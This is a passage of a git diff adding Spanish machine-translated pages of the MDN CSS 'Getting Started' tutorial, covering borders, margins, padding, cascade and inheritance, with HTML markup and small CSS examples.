+    <p><span class="short_text" id="result_box" lang="es"><span class="hps">El elemento tiene</span> <span class="hps">un fondo verde</span> <span class="hps">.</span></span></p>
+   </td>
+   <td>
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;"> </p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+    <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;"> </p>
+
+    <div style="background-color: #efe;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><span class="short_text" id="result_box" lang="es"><span class="hps">Esto es</span> <span class="hps">lo que se ve</span> <span class="hps">en su navegador</span><span>.</span></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Borders">Borders</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Puede utilizar</span> <span class="hps alt-edited">los bordes</span> <span class="hps">para decorar</span> <span class="hps">elementos con</span> <span class="hps">líneas o cuadros</span><span>.</span><br>
+ <br>
+ <span class="hps">Para especificar</span> <span class="hps">la misma</span> <span class="hps">frontera</span> <span class="hps">todo</span> <span class="hps">alrededor de un elemento</span><span>, utilice la </span><span class="hps">propiedad</span></span><span lang="es"><span> </span><span class="hps atn">{</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps atn">"border</span><span>")}</span><span>}</span> <span class="hps">.</span> <span class="hps">Especifique</span> <span class="hps">el ancho</span> <span class="hps">(por lo general</span> <span class="hps">en píxeles</span> <span class="hps">para la visualización</span> <span class="hps">en una pantalla</span><span>)</span><span>, el estilo</span><span>, y el color</span><span>.</span><br>
+ <br>
+ <span class="hps">Los estilos son</span><span>:</span></span></p>
+
+<table style="margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td style="width: 6em;">
+    <div style="border: 2px solid #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>solid</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px dotted #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dotted</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px dashed #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dashed</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px double #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>double</code></div>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 6em;">
+    <div style="border: 2px inset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>inset</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px outset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>outset</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px ridge #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>ridge</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px groove #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>groove</code></div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="es"><span class="hps">También puede establecer</span> <span class="hps">el estilo a </span></span><em><strong><code>none</code> </strong>(</em><span lang="es"><em> </em><span class="hps">ninguno) o</span> </span><strong><em><code>hidden</code> </em></strong><span lang="es"><span class="hps alt-edited">(oculto), </span> <span class="hps">para eliminar</span> <span class="hps">explícitamente</span> <span class="hps">la frontera <code>(</code></span></span><code><em><strong>border </strong></em>)</code><span lang="es"><span>,</span> <span class="hps">o</span> <span class="hps">establecer el color</span> como <span class="hps">transparente</span> <span class="hps">para hacer</span> <span class="hps">la frontera</span> <span class="hps">invisible</span> <span class="hps">sin cambiar</span> <span class="hps">el diseño.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para especificar</span> <span class="hps alt-edited">los bordes</span> <span class="hps">de uno en uno</span> por separado<span>, utilice las propiedades</span><span>:</span> <span class="hps atn">{</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>border-top</span><span>")}</span><span class="atn">}, {</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>border-right</span><span>")}</span><span class="atn">}, {</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>border-bottom</span><span>")}</span> <span class="hps atn">}, {</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>border-left</span><span>")}</span><span>}</span><span>.</span> <span class="hps">Usted</span> <span class="hps">puede utilizar estas para</span> <span class="hps">especificar</span> <span class="hps alt-edited">un borde</span> <span class="hps"> solo en un lado</span><span>,</span> <span class="hps">o</span> <span class="hps">diferentes</span> <span class="hps alt-edited">los bordes</span> <span class="hps">en diferentes lados</span><span>.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps">Ejemplo</span></span></div>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps">Esta norma</span> <span class="hps">establece el</span> <span class="hps">color de fondo y</span> <span class="hps">el borde superior</span> <span class="hps">de los elementos de</span> <span class="hps">la etiqueta <code><strong><em>h3</em></strong></code></span><span>:</span></span></p>
+
+<pre class="brush:css">h3 {
+  border-top: 4px solid #7c7; /* mid green */
+  background-color: #efe;     /* pale green */
+  color: #050;                /* dark green */
+  }
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">El resultado</span> <span class="hps">se ve así:</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-size: 133%; font-weight: bold; background-color: #efe; border-top: 4px solid #7c7; color: #050; padding-right: 6em;">Stylish heading</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta regla</span> <span class="hps">hace que</span> <span class="hps">las imágenes</span> sean <span class="hps">fáciles de ver</span><span>, dándoles</span> <span class="hps">un borde</span> <span class="hps">gris medio</span> a <span class="hps">todo</span><span>:</span></span></p>
+
+<pre class="brush:css">img {border: 2px solid #ccc;}
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">El resultado</span> <span class="hps">se ve así:</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>Image:</td>
+   <td style="border: 2px solid #ccc;"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/47/=Blue-rule.png"></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Márgenes_y_relleno"><span id="result_box" lang="es"><span class="hps">Márgenes y</span> <span class="hps">relleno</span></span></h3>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps">Use</span>  <span class="hps">márgenes y el relleno</span> <span class="hps">para ajustar</span> <span class="hps">las posiciones de</span> <span class="hps">los elementos</span> <span class="hps atn">'</span><span>y crear</span> <span class="hps">el espacio</span> <span class="hps">que les rodea.</span><br>
+ <br>
+ <span class="hps">Utilice la propiedad </span></span><span lang="es"><span class="hps"> </span><span class="hps atn">{</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps">"</span></span>margin<span lang="es"><span>")}</span><span>}</span> <span class="hps">o</span> la <span class="hps">propiedad </span><span class="hps atn">{</span><span class="atn">{</span><span>cssxref</span> <span class="hps atn">(</span><span class="hps">"</span></span>padding<span lang="es"><span>")}</span><span>}</span> <span class="hps">para establecer</span> <span class="hps">los</span> <span class="hps">márgenes y el </span><span class="hps"> relleno</span> con sus <span class="hps">anchuras</span> <span class="hps">respectivamente.</span><br>
+ <br>
+ <span class="hps">Si especifica</span> <span class="hps">una</span> <span class="hps">anchura,</span> <span class="hps">que se aplica</span> <span class="hps">en todo el</span> <span class="hps">elemento</span> <span class="hps">(arriba</span><span>, derecha,</span> <span class="hps">abajo y de izquierda</span><span>)</span><span>.</span><br>
+ <br>
+ <span class="hps">Si especifica</span> <span class="hps">dos anchos</span><span>,</span> <span class="hps">la</span> <span class="hps">primera se aplica</span> <span class="hps">a la</span> <span class="hps">parte superior e inferior</span><span>,</span> <span class="hps">la segunda a la</span> <span class="hps">derecha y la izquierda</span><span>.</span><br>
+ <br>
+ <span class="hps">Puede especificar</span> <span class="hps">los cuatro</span> <span class="hps">anchos</span> <span class="hps">en el orden</span><span>:</span> <span class="hps">arriba, derecha</span><span>,</span> <span class="hps">abajo, de izquierda</span><span>.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps">Ejemplo</span></span></div>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps">Esta norma</span> <span class="hps">delimita</span> <span class="hps">párrafos con</span> <span class="hps">la  </span></span><code><em><strong> class</strong></em></code> <code>remark</code><span lang="es"><span>, dándoles</span> <span class="hps">un borde rojo</span> <span class="hps">a su alrededor.</span><br>
+ <br>
+ <span class="hps">El </span></span><code><strong><em>padding </em></strong></code>(relleno)<code><strong><em> </em></strong></code><span lang="es"><span class="hps">separa </span></span><span lang="es"><span class="hps">un poco </span></span><span lang="es"><span class="hps">todo</span> <span class="hps"> el borde</span> <span class="hps">del texto</span> <span class="hps">.</span></span><br>
+ <br>
+ <span id="result_box" lang="es"><span class="hps">A</span> <span class="hps">la izquierda una </span> <span class="hps alt-edited">sangría</span> <span class="hps alt-edited">desde el margen</span> <span class="hps">del</span> <span class="hps">párrafo con respecto al</span> <span class="hps">resto del texto <code><em><strong>(</strong></em></code></span></span><code><em><strong>margin-left</strong></em></code><span lang="es"><span><code><em><strong> )</strong></em></code>:</span></span></p>
+
+<pre class="brush:css">p.remark {
+  border: 2px solid red;
+  padding: 4px;
+  margin-left: 24px;
+  }
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">El resultado</span> <span class="hps">se ve así:</span></span></p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p><span class="short_text" id="result_box" lang="es"><span class="hps alt-edited">A continuación</span> <span class="hps">es un párrafo</span> <span class="hps">normal.</span></span></p>
+
+    <p style="border: 2px solid red; padding: 4px 6em 4px 4px; margin: 0px 0px 0px 24px;">Aqui con la clase remark.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps">Más</span> <span class="hps">detalles</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando se utiliza</span> <span class="hps">márgenes y el relleno</span> <span class="hps">para ajustar</span> <span class="hps alt-edited">la manera en</span> <span class="hps alt-edited">que los elementos</span> <span class="hps">se disponen</span><span>,</span> <span class="hps">sus</span> <span class="hps">reglas de estilo</span> <span class="hps">interactúan</span> <span class="hps alt-edited">con los estilos</span> <span class="hps">de tu navegador</span> <span class="hps alt-edited">por defecto</span> <span class="hps alt-edited">y pueden ser</span> <span class="hps alt-edited">muy complejas.</span><br>
+ <br>
+ <span class="hps">Los distintos navegadores</span> <span class="hps">ponen</span> <span class="hps alt-edited">que los elementos</span> <span class="hps">de manera diferente</span><span>.</span> <span class="hps">Los</span> <span class="hps alt-edited">resultados pueden</span> <span class="hps">ser similar</span> <span class="hps alt-edited">,hasta que nuestro</span> <span class="hps alt-edited">hoja de estilos</span> <span class="hps">cambia las cosas</span><span>.</span> <span class="hps">A veces esto</span> <span class="hps">puede hacer que sus</span> <span class="hps">hojas de estilo</span> <span class="hps alt-edited">den</span> <span class="hps">resultados sorprendentes.</span><br>
+ <br>
+ <span class="hps">Para</span> <span class="hps">obtener</span> <span class="hps">el resultado deseado</span><span>, es posible que</span> <span class="hps">tenga que cambiar</span> <span class="hps alt-edited">el marcado</span> <span class="hps">de su</span> <span class="hps">documento.</span> <span class="hps">La</span> <span class="hps">página siguiente de</span> <span class="hps">este tutorial</span> <span class="hps">tiene más</span> <span class="hps">información al respecto.</span><br>
+ <br>
+ <span class="hps">Para obtener información</span> <span class="hps">detallada acerca</span> <span class="hps">de relleno</span><span>, márgenes</span> <span class="hps">y bordes</span><span>, consulte</span> <span class="hps">la página de referencia</span> <span class="hps">Modelo de caja</span><span>.</span></span></p>
+</div>
+
+<h2 id="Acción_Agregar_bordes"><span id="result_box" lang="es"><span class="hps">Acción</span><span>:</span> <span class="hps">Agregar bordes</span></span></h2>
+
+<p>Edite su archivo CSS , <strong><em>style2.css</em></strong>. <span id="result_box" lang="es"><span class="hps alt-edited">Agrega</span> <span class="hps">esta regla</span> <span class="hps">para dibujar una línea</span> <span class="hps">a través de la</span> <span class="hps">página</span> <span class="hps">sobre cada</span> <span class="hps alt-edited">encabezado</span><span>:</span></span></p>
+
+<pre class="brush:css">h3 {border-top: 1px solid gray;}
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Si usted tomó</span> <span class="hps alt-edited">el cambio </span><span class="hps alt-edited">en la última página</span><span>,</span> <span class="hps alt-edited">modificara la regla</span> <span class="hps">que ha creado,</span> <span class="hps">de lo contrario</span> <span class="hps alt-edited">agregar la</span> <span class="hps alt-edited">nueva regla</span> <span class="hps alt-edited">para añadir espacio</span> <span class="hps">debajo de cada</span> <span class="hps alt-edited">ítem de la lista</span><span>:</span></span></p>
+
+<pre class="brush:css">li {
+  list-style: lower-roman;
+  margin-bottom: 8px;
+  }
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Actualice el navegador</span> <span class="hps">para ver el resultado</span><span>:</span></span></p>
+
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <ul style="">
+     <li style="margin-bottom: 8px;">Arctic</li>
+     <li style="margin-bottom: 8px;">Atlantic</li>
+     <li style="margin-bottom: 8px;">Pacific</li>
+     <li style="margin-bottom: 8px;">Indian</li>
+     <li style="margin-bottom: 8px;">Southern</li>
+    </ul>
+
+    <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps alt-edited">El reto</span></span></div>
+
+<p><br>
+ <span id="result_box" lang="es"><span class="hps alt-edited">Agrega</span> <span class="hps">una regla a</span> <span class="hps">la hoja de estilos</span><span>, para que</span> <span class="hps alt-edited">aparesca un amplio</span> <span class="hps alt-edited">borde</span> <span class="hps">alrededor de los</span> <span class="hps alt-edited">la lista de océanos, en</span> <span class="hps">un color</span> <span class="hps">que le recuerda</span> <span class="hps">al mar</span><span>, algo</span> <span class="hps">como esto:</span></span></p>
+
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="border: 12px solid #69b; padding-left: 1em;">
+    <ul style="">
+     <li style="margin-bottom: 8px;">Arctic</li>
+     <li style="margin-bottom: 8px;">Atlantic</li>
+     <li style="margin-bottom: 8px;">Pacific</li>
+     <li style="margin-bottom: 8px;">Indian</li>
+     <li style="margin-bottom: 8px;">Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <p><strong>. . .</strong></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p><span id="result_box" lang="es"><span class="hps atn">(</span><span>No es necesario</span> <span class="hps alt-edited">que coincida con</span> <span class="hps">el ancho</span> <span class="hps">y el color</span> <span class="hps">que se ve aquí</span> <span class="hps">exactamente</span><span>.</span><span>)</span></span></p>
+</div>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Boxes">Ver una solución a este desafío.</a></p>
+
+<h2 id="What_next">What next?</h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Layout", "Layout") }}<span id="result_box" lang="es"><span class="hps">Al especificar</span> <span class="hps">márgenes y el relleno</span><span>, se</span> <span class="hps">modificó el</span> <span class="hps">diseño del documento</span><span>.</span> <span class="hps">En la página siguiente</span> <span class="hps">se cambia</span> el </span><a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Layout" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Layout">layout</a><span id="result_box" lang="es"><span class="hps"> de su</span> <span class="hps">documento</span> <span class="hps">de otra manera.</span></span></p>
diff --git a/files/es/web/css/introducción/cascading_and_inheritance/index.html b/files/es/web/css/introducción/cascading_and_inheritance/index.html
new file mode 100644
index 0000000000..64bf0dd443
--- /dev/null
+++ b/files/es/web/css/introducción/cascading_and_inheritance/index.html
@@ -0,0 +1,124 @@
+---
+title: Cascada y herencia
+slug: Web/CSS/Introducción/Cascading_and_inheritance
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/es/docs/Web/CSS/Introduction/How_CSS_works", "Cómo funciona el CSS.")}}<span id="result_box" lang="es"><span class="hps">Esta</span> <span class="hps">es</span> <span class="hps">la cuarta sección </span> <span class="alt-edited hps">del</span> <span class="hps">tutorial</span><span> <span class="hps">CSS</span> <span class="hps">Primeros pasos</span>;</span> <span class="hps">que</span> <span class="hps">describe cómo</span> <span class="hps">interactúan</span> <span class="hps">las hojas de estilo</span> <span class="hps">en cascada,</span> <span class="hps">y</span> <span class="hps">cómo los elementos</span> <span class="hps">heredan</span> <span class="hps">el estilo</span> <span class="hps">de sus padres.</span> <span class="alt-edited hps">Usted agrega</span> <span class="hps">a</span> <span class="hps">la hoja de estilos</span> <span class="alt-edited hps">de ejemplo,</span> <span class="hps">utilizando la herencia</span> <span class="alt-edited hps">para alterar</span> <span class="hps">el estilo de</span> <span class="alt-edited hps">muchas partes del</span> <span class="hps">documento</span> <span class="hps">en un solo paso</span><span>.</span></span></p>
+
+<h2 class="clearLeft" id="Información_Cascada_y_herencia"><span class="short_text" id="result_box" lang="es"><span class="hps">Información</span><span>:</span> <span class="hps">Cascada</span> <span class="hps">y</span> <span class="hps">herencia</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">El estilo</span> <span class="hps">final para</span> <span class="hps">un elemento</span> <span class="hps">se puede especificar en</span> <span class="hps">muchos lugares</span> <span class="hps">diferentes</span><span>, que pueden interactuar</span> <span class="hps">de una manera compleja</span><span>.</span> <span class="hps">Esta interacción</span> <span class="hps">compleja</span> <span class="hps">hace</span> <span class="alt-edited hps">el CSS</span> <span class="alt-edited hps">poderoso</span><span>,</span> <span class="alt-edited hps">pero puede también</span> <span class="hps">hacer que sea</span> <span class="hps">confuso y difícil</span> <span class="hps">de depurar.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="alt-edited hps">Tres</span> <span class="alt-edited hps">principales fuentes de</span> <span class="hps">información de estilo</span> <span class="alt-edited hps">forman</span> <span class="hps">una <em>cascada</em></span><span>.</span> <span class="alt-edited hps">Estas son:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Estilos</span> <span class="hps">por defecto del navegador</span> <span class="hps">para</span> <span class="alt-edited hps">del lenguaje de marcado</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Estilos</span> <span class="hps">especificados</span> <span class="hps">por un usuario</span> <span class="hps">que está leyendo</span> <span class="hps">el documento</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Los</span> <span class="hps">estilos</span> <span class="hps">relacionados en </span><span class="hps">el documento</span> <span class="hps">por su autor</span><span>.</span> <span class="hps">Estos pueden</span> <span class="hps">ser especificados</span> <span class="hps">en tres lugares</span><span>:</span></span>
+  <ul>
+   <li><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">un archivo externo</span><span>:</span> <span class="hps">este tutorial</span> <span class="alt-edited hps">aborda</span> <span class="hps">principalmente</span> <span class="hps">este</span> <span class="hps">método para definir</span> <span class="hps">los estilos.</span></span></li>
+   <li><span id="result_box" lang="es"><span class="hps">En una definición</span> <span class="hps">al principio</span> <span class="hps">del documento</span><span>: utilice</span> <span class="alt-edited hps">este método únicamente</span> <span class="hps">para los estilos</span> <span class="hps">que se utilizan sólo</span> <span class="hps">en esa página</span> <span class="hps">.</span></span></li>
+   <li><span id="result_box" lang="es"><span class="hps">En un</span> <span class="hps">elemento específico</span> <span class="hps">en el cuerpo</span> <span class="hps">del documento</span><span>:</span> <span class="hps">este</span> <span class="hps">es el método menos</span> <span class="alt-edited hps">fácil de mantener</span><span>,</span> <span class="hps">pero puede ser utilizado</span> <span class="alt-edited hps">para la probar.</span></span></li>
+  </ul>
+ </li>
+</ul>
+
+<p><span id="result_box" lang="es"><span class="hps">El estilo del</span> <span class="hps">usuario modifica</span> <span class="hps">el estilo</span> <span class="hps">por defecto del navegador</span><span>.</span> <span class="alt-edited hps">El estilo</span> <span class="hps">del autor del documento</span> <span class="alt-edited hps">a continuación</span> <span class="hps">modifica</span> <span class="hps">el estilo</span> <span class="hps">un poco más.</span> <span class="hps">En este tutorial,</span> <span class="hps">usted es el autor</span> <span class="hps">del documento</span> <span class="alt-edited hps">de ejemplo,</span> <span class="hps">y</span> <span class="hps">solo trabaja</span> <span class="hps">con</span> <span class="hps">hojas de estilo</span> <span class="hps">del autor</span><span>.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando lea este</span> <span class="hps">documento en un navegador</span><span>,</span> <span class="hps">parte del estilo</span> <span class="alt-edited hps">que ves</span> <span class="alt-edited hps">proviene</span> <span class="alt-edited hps">por defecto</span> <span class="hps">de su</span> <span class="alt-edited hps">navegador de</span> <span class="hps">HTML</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Parte del</span> <span class="hps">estilo</span> <span class="hps">podría venir de</span> <span class="alt-edited hps">los ajustes </span></span><span id="result_box" lang="es"><span class="hps">personalizados </span></span><span id="result_box" lang="es"><span class="alt-edited hps">del navegador</span> <span class="hps">o</span> <span class="alt-edited hps">de un archivo</span> <span class="alt-edited hps">de definición de estilo</span> <span class="hps">personalizado.</span> <span class="hps">En Firefox</span><span>, la configuración</span> <span class="hps">se puede personalizar en</span> <span class="alt-edited hps">cuadro de diálogo Preferencias</span><span>, o puede</span> <span class="hps">especificar</span> <span class="hps">estilos</span> <span class="hps">en un archivo</span> </span><span id="result_box" lang="es"><span class="alt-edited hps">denominado</span> </span><span id="result_box" lang="es"><em><code><span class="hps">user Content.css,</span></code></em> <span class="alt-edited hps">archivado </span><span class="hps">en su perfil de</span> <span class="hps">navegador.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Parte del</span> <span class="alt-edited hps">estilo</span> <span class="hps">proviene de</span> <span class="hps">las hojas de estilo</span> <span class="hps">vinculadas al</span> <span class="hps">documento</span> <span class="hps">por el servidor</span></span> wiki.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Al abrir su</span> <span class="hps">documento de muestra</span> <span class="hps">en el navegador,</span> <span class="atn hps">los elementos </span></span>{{ HTMLElement("strong") }}<span lang="es"> <span class="alt-edited hps">son</span> <span class="alt-edited hps">más relevante que</span> <span class="hps">el</span> <span class="hps">resto del texto</span><span>.</span> <span class="alt-edited hps">Esto viene del</span> <span class="hps">estilo por defecto</span> <span class="hps">del navegador</span> <span class="hps">para HTML</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="atn hps">El elemento </span></span>{{ HTMLElement("strong") }}<span lang="es"> <span class="hps">son rojos.</span> <span class="alt-edited hps">Esto viene</span> <span class="alt-edited hps">de la</span> <span class="hps">propia hoja de estilos</span> <span class="alt-edited hps">de ejemplo.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="atn hps">El elemento </span></span>{{ HTMLElement("strong") }}<span lang="es"> <span class="hps">también</span> <span class="hps">heredan</span> <span class="hps">gran parte del estilo del elemento </span></span>{{ HTMLElement("p") }}<span lang="es"><span class="hps">,</span> <span class="alt-edited hps">porque ellos son</span> <span class="hps">sus</span> <span class="hps">hijos.</span> <span class="hps">De la misma manera</span><span>,</span> <span class="alt-edited hps">los</span> elementos </span>{{ HTMLElement("p") }}<span lang="es"> <span class="alt-edited hps">heredan</span> <span class="hps">gran parte del estilo</span> <span class="hps">del</span> <span class="hps">elemento</span></span>{{ HTMLElement("body") }}<span lang="es"><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para los estilos</span> <span class="alt-edited hps">en cascada</span><span class="alt-edited">, las hojas de estilo</span> <span class="hps">del autor</span> <span class="hps">tienen</span> <span class="alt-edited hps">prioridad, </span> <span class="alt-edited hps">ante las hojas de estilo</span> <span class="hps">del lector</span><span>, </span> <span class="hps">por defecto</span> <span class="hps">de tu navegador</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para los estilos</span> <span class="hps">heredados</span><span>,</span> <span class="hps">el estilo propio de</span> <span class="hps">un nodo</span> <span class="hps">hijo tiene</span> <span class="hps">prioridad sobre</span> <span class="alt-edited hps">estilo</span> <span class="hps">heredado de</span> <span class="hps">su</span> <span class="hps">padre</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Estas no son las</span> <span class="hps">únicas prioridades</span> <span class="hps">que se aplican</span><span>.</span> <span class="alt-edited hps">En una página posterior</span><span class="alt-edited hps"> de este</span> <span class="hps">tutorial se explica</span> <span class="alt-edited hps">mas detalladamente</span><span>.</span></span></p>
+
+<div class="tuto_details">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="alt-edited hps">Más</span> <span class="hps">detalles</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="alt-edited hps">El CSS</span> <span class="hps">también proporciona</span> <span class="hps">una forma para que</span> <span class="hps">el lector</span> <span class="alt-edited hps">pueda anular</span> <span class="hps">el estilo</span> <span class="hps">del autor del documento</span><span>,</span> <span class="hps">mediante el uso de</span> <span class="hps">la palabra clave</span><span>! </span></span><code>!important</code>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Esto significa</span> <span class="hps">que, como</span> <span class="hps">autor del documento</span><span>,</span> <span class="hps">no siempre se puede</span> <span class="hps">predecir con exactitud</span> <span class="hps">lo que sus lectores</span> <span class="hps">van a ver.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">quieres conocer</span> <span class="hps">todos los detalles de</span></span> cascada y herencia mira <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Asignando propiedad de valores, cascada, y herencia</a> <span id="result_box" lang="es"><span class="hps">en</span> <span class="alt-edited hps">las</span> <span class="hps">especificaciones</span> d<span class="alt-edited hps">el CSS</span><span>.</span></span></p>
+</div>
+
+<h2 id="Acción_El_uso_de_la_herencia"><span class="short_text" id="result_box" lang="es"><span class="hps">Acción</span><span>: El uso de</span> <span class="hps">la herencia</span></span> </h2>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Edite su archivo</span> <span class="alt-edited hps"> CSS</span> <span class="alt-edited hps">de ejemplo.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="alt-edited hps">Agrega</span> <span class="hps">esta línea</span> <span class="hps">copiando y</span> <span class="hps">pegando</span><span>.</span> <span class="hps">Realmente no</span> <span class="hps">importa si</span> <span class="hps">usted la agrega</span> <span class="hps">por encima o por</span> <span class="hps">debajo de la línea</span> <span class="hps">que está</span><span>.</span> <span class="alt-edited hps">Sin embargo, añadirla</span> <span class="hps">en la parte superior</span> <span class="hps">es más</span> <span class="hps">lógico, porque</span> <span class="hps">en el documento </span><span class="alt-edited hps">el</span> elemento </span>{{ HTMLElement("p") }}<span lang="es"> es el <span class="alt-edited hps">elemento</span> <span class="hps">padre</span> <span class="atn hps">del elemento  </span></span>{{ HTMLElement("strong") }}<span lang="es"> <span>:</span></span>
+  <pre class="brush:css">p {color: blue; text-decoration: underline;}
+</pre>
+ </li>
+ <li>Ahora actualice el navegador para ver el efecto <span id="result_box" lang="es"><span class="hps">en su</span> <span class="hps">documento de muestra.</span></span> El subrayado afecta todo el texto en el párrafo, incluido las letras iniciales. Los elementos {{ HTMLElement("strong") }} <span id="result_box" lang="es"><span class="hps">han heredado</span> <span class="hps">el estilo</span> <span class="hps">subrayado</span> <span class="hps">de su elemento padre </span></span>{{ HTMLElement("p") }}.<br>
+
+  <p><span id="result_box" lang="es"><span class="hps">Pero</span> <span class="atn hps">los elementos </span></span>{{ HTMLElement("strong") }}<span lang="es"> <span class="hps">siguen siendo</span> <span class="hps">rojo.</span> <span class="hps">El color rojo</span> <span class="hps">es</span> <span class="hps">su estilo</span><span> </span><span class="hps">propio</span><span>,</span> <span class="hps">por lo que tiene</span> <span class="hps">prioridad sobre</span> <span class="hps">el color azul</span> <span class="hps">de su elemento</span> <span class="hps">padre</span> </span>{{ HTMLElement("p") }}<span lang="es"> <span>.</span></span></p>
+ </li>
+</ol>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;">
+</table>
+
